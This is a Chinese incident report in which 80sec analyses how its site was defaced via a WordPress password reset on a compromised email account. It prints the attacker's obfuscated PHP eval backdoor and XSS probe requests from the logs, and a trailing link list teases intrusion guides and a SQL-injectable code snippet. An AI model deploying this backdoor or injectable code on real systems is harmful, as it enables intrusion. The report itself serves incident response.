80sec网站感恩节被攻击事件分析

所属分类: 网络安全 / 黑客入侵 阅读数: 102
收藏 0 赞 0 分享
[ 目录 ]
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结

0×00 事件背景

在感恩节的晚上,我们的站点遭遇了攻击,几名未知性别的黑客成功涂改掉了我们的首页,事情发生后很多朋友对我们被攻击的原因和经过都很关心,各种猜测都有,加上我们后续对于这次攻击的分析结果来看,我们觉得整次攻击和事后应急及分析的过程都适合作为一次典型的案例分析,把整件事情披露出来无论是对我们还是对业界会非常有意义,入侵者给我们在感恩节送了这么好的礼物,我们要好好接受才对:)


0×01 应急响应

事件发生之后的一段时间我们登录到服务器,由于首页替换的时间很短暂,我们甚至没有抓到截图,开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的攻击,但是作为应急响应的箴言之一,我们最好不要相信猜测,一切以日志分析为主,一旦猜测我们从开始就输了。
我们知道在webserver的日志里记录了几乎所有有价值的信息,我们后续的检测必须依赖于日志,所以建议各位日志没开的同学先把日志打开并且保存足够长的时间,在这个有价值的信息里,我们第一个需要找准的就是攻击发生的具体时间点,因为我们是首页被黑并且时间较短,我们迅速stat了下首页文件的内容,发现完全正常没有任何改变:

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我们知道在linux系统下面的ctime会需要权限较高才能修改,而我们的系统是最新的patch,据我们了解也应该不存在使用未公开的漏洞来攻击我们的可能,毕竟我们只是一个技术站点,难道真的是ARP或者是Dns劫持么?在webserver的log里有一个选项记录了这一次请求所传递的数据量,我们对比了下发现,的确在某个时间首页的数据量有一个显著的减少:

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

为676字节,而一般的请求大小为

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字节,我们可以确认webserver的确出现了问题,入侵者的确能够控制我们的首页显示,到这里我们基本可以确定攻击时间和攻击的源IP了,当你被黑了的时候,第一个访问那个页面的基本就是攻击者本人,他们会迫不及待的来看攻击成果:)
既然服务器有问题了,那我们来看看今天有什么文件被修改了:

find /home/ -ctime 1

立刻我们就发现了一些好玩的东西:

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看来这就是那只后门了,写到了一个全局可写的缓存文件里,而且特意做了隐藏,基本是正常的代码也不触发什么关键字,那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢?这个后门我们发现最早出现的时间并不是在80sec里,而是在同一服务器上一个80sec童鞋的Blog里,最早的时间可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比较吻合,那么似乎假设如果没有猜错的话,第一个被攻击的目标应该是这个很勺的80sec童鞋的Blog才对,那么是如何攻击的呢?我们将日志里与这个ip相关的抽取出来

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

攻击很早就发生了,甚至还使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一个web扫描工具对站点进行了详细的扫描,连一个功能简单的开源blog都不放过,可以猜测对一般的站点每天要遭受多少蹂躏,最后攻击者开始找回密码

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/images/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后,攻击者的确成功的取回了密码,然后通过这个密码进入了后台,后台的功能比较丰富然后上传了后门,在清楚攻击者的手法之后我们很快定位了原因和进行了处理,我们的服务器以较低身份运行,而程序文件权限是以属主身份运行,所以整个web目录不可写,较好的控制了入侵的范围,在对入侵者放置在各个角落里的后门处理之后,我们修改相应密码恢复了站点的运行;

0×02 事件分析

我们讨论一次入侵事件,必须要清楚相应的目的,在恢复站点运行之后,我们分析了入侵者所有的动作,大概可以总结如下这次攻击更像是针对wooyun.org的一次攻击,因为wooyun.org近期的一些事情被迁移到日本的vps,所以这可能是一次长期的持久的渗透攻击,专业点称为APT攻击,但是由于代码逻辑完全不在这台服务器上,所以攻击者失败了。
攻击者在取回邮箱密码的时候手法值得怀疑,尽管整个事件的源头是由于某个很勺的80sec童鞋,这位童鞋虽然很勺,但是绝对不使用弱口令也不会使用生日密码(我们的安全意识不像传闻的那样弱),同时这位悲催的童鞋有两个邮箱,一个邮箱是wordpess的密码找回邮箱!另外一个邮箱同样也是这个wordpress密码邮箱的密码找回邮箱!wordpess和两个邮箱的安全关联层层相扣!未知性别的感恩节攻击者采用读心术控制了我们这位很纯洁的童鞋的最后一个关键邮箱,在没有漏洞的情况下渗透进了服务器,得到了大家上面所看到的结果,很伟大,不是么?
通过一段时间的关联分析,我们发现与这次攻击相关的人都可能遭受到不同程度的牵连,包括曾经在80sec.com上注册的不少用户都通过邮箱找回了密码,而攻击的来源与此次攻击者正好相同,这里最大的问题在于,谁能够同时拥有这么多邮箱,包括163,hotmail以及gmail的密码,我们有理由相信这次攻击与国内很多大型社区的数据库失窃,与传闻的某邮箱数据库失窃有关。
攻击者所使用的后门开始有意识的进行躲避和查杀,如果不是入侵者通过缓存直接修改了首页,那么这次攻击可能隐蔽得更深更长时间,所造成的危害可能更大,对于80sec而言,我们所有的文档和技术都在站点进行分享,并没有安全级别要求较高的数据,所以可能影响不大,但是对于一些包含重要数据的企业和网站而言,同时我们事后发现攻击者所使用的IP是一家站点,很可能该家站点已经被攻陷作为跳板,如何在攻击发生和尝试发生时发现和阻止将是一件很有挑战的事情。

0×03 事件启示

在这件事情里,我们觉得对我们最有意义包括两点,一点是现有互联网认证机制的崩溃,这主要表现在目前的互联网的认证是基于电子邮件的认证,电子邮件在各个企业和互联网公司都被用作标识用户身份,而经过近几年黑客一轮又一轮的洗礼,目前国内互联网企业里含有较大用户基数的站点都可能已经沦陷,而在即使知道自己用户数据库被窃取之后大多数的企业基于自身利益原因还是会保持沉默。黑客在攒积大量的用户密码之后,就可以使得基于账户密码,基于邮箱认证的现有安全认证机制失效,这已经是现有互联网企业的灾难,请想想你们企业内部邮箱是否对外,以及邮箱是否是静态密码,如果邮箱是内部,那么VPN呢,而这种安全机制的失效又称为攻击者攒积新的数据库的基础,形成一个巨大的黑色雪球,彻底瓦解互联网安全。
另外一部分是关于apt攻击的,理论上我们只要有一个目标,基本是没有攻破不了的,特别是对于大企业而言,架构的改动,IDC的扩充,企业并购和投资都可能为你的安全体系引入新的风险,如何在一个动态的环境下建设一个较为完善的安全体系,这将是安全人员面临的一个巨大挑战,因为从这一次时间里就可以看到,我们并没有因为是存在什么实际的漏洞而导致被入侵。

0×04 总结

在80sec出现问题之后,不少人猜测是漏洞还是什么原因遭受攻击,有人怀疑是安全意识问题,也有一些安全厂商询问是否可以通过WAF或者其他的安全产品来避免此次安全事件,不过在事件披露之后,相信大家应该很清楚能否通过现有产品来避免此类的攻击行为,我们的安全概念需要更新了,不只是漏洞也不只是安全意识了,包括安全的理解,对攻击的理解都需要有一个全新的认识了,最后欢迎微博上某位产品安全厂商开发出能够保护我们的安全产品,也欢迎攻击者可以联系到我们看看我们的整个过程的分析是否正确
更多精彩内容其他人还在看

黑客技术讲解 网吧入侵方法大搜罗

首先,我们了解被破坏网吧的客观环境,要了解网吧人员的实地监测等。尤其要注意看有没有闭路电视监控。如果网吧人员对你的个人资料相当熟悉,就住手免的惹麻烦了。部分网吧要出示身份证也不要破坏了,免的惹麻烦。以下破坏方法不分先后,请量力灵活运用若干破坏组合。具体
收藏 0 赞 0 分享

通过Asp入侵Webserver

通过asp入侵web server,窃取文件毁坏系统,这决非耸人听闻... iis的安全性问题 1.iis3/pws的漏洞 我实验过,win98 pws上运行ASP程序,只须在浏览器地址栏内多加一个小数点ASP程序就会被下载下来。IIS3听说也有同样的问题,
收藏 0 赞 0 分享

详尽的IPC$入侵

一 唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步
收藏 0 赞 0 分享

如何入侵ADSL

这是一位所谓的"黑客"的口述,你不妨看一下,也许你看完后对他的技术性做法不是完全明白,但是你肯定会感到一身冷汗,因为我们现在使用ADSL已经日益广泛,但我们的安全意识还不是很强.听完他的口述希望大家在日后能加强安全防范! 口述: 也许看烂了网上已有的
收藏 0 赞 0 分享

看我来入侵复旦大学(图)

一、师出有名 某日十分无聊,就和X论坛的超级版主wyzhack瞎吹牛,东年西扯的。后来不知道怎么的扯到复旦去了,他提议说不如我们黑掉复旦吧。正好当时也比较清闲,就答应一起看看了,嘿嘿。这次跑去黑复旦纯粹是为了练习技术。 二、战略部署 这次要拿的
收藏 0 赞 0 分享

领土之争——入侵某视讯服务器回忆录

老早就打算写这样一篇文章:能够细致地反映出入侵中攻防的具体内容,我想这比单纯的技术文章有趣的多。有鉴于此,我将尽力完整描述入侵过程中的思考方式。 1.石榴裙下的kk 说实话,就第一次拿到权限而言,没有多少技术含量。我花了N久时间收集KK网络的各种信息,最终
收藏 0 赞 0 分享

黑客攻防实战之对有防火墙网站入侵过程

前几天群里的兄弟给了一个网站,问我可不可以入侵。   一、踩点   ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。   二、注入   从源文件里搜索关键字asp
收藏 0 赞 0 分享

看看黑客都在偷窥什么!入侵个人电脑揭密(图)

前几天看《南国早报》说一位女孩个人电脑被黑客入侵控制,把裸照发到网上威胁女孩的事。联想到最近网上这样的事挺多的,就想给大家说说怎么防范。 其实现在的网络真的不安全~只要你的电脑连接上网络就存在一定的风险。黑客并不是万能的,他们入侵的电脑都是存在比较严重
收藏 0 赞 0 分享

XSS Phishing - 新式跨站脚本攻击方式(图)

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞! 跨站脚本攻击最大的魅力是通过HTML注
收藏 0 赞 0 分享

PHP数据库安全之SQL注入

$offset = $argv[0]; // 注意,没有输入验证!   $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";   $resu
收藏 0 赞 0 分享
查看更多